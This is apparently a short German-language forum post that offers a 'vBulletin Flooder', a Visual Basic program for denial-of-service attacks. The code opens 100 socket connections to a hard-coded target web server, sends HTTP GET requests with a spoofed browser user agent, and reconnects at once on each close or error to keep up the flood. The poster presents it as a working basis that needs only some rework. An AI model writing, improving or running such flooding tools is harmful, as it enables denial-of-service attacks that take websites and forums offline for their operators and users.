Hier haste du einen vBulletin Flooder:
Code:
Option Explicit
Private Const Target$ = "www.google.de"
Private Const Connections& = 100
Private Sub Command1_Click()
Dim i&
For i = 1 To Connections
Load WS(i)
WS(i).Connect Target, 80
Next i
End Sub
Private Sub WS_Close(Index As Integer)
WS(Index).Close
WS(Index).Connect Target, 80
End Sub
Private Sub WS_Connect(Index As Integer)
WS(Index).SendData "GET / HTTP/1.1" & vbCrLf & _
"Host: " & Target & vbCrLf & _
"Accept: */*" & vbCrLf & _
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6" & vbCrLf & vbCrLf
End Sub
Private Sub WS_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
WS(Index).Close
WS(Index).Connect Target, 80
End Sub
Muss sicherlich noch etwas umgebaut werden, aber die Grundlage ist da.
igoe.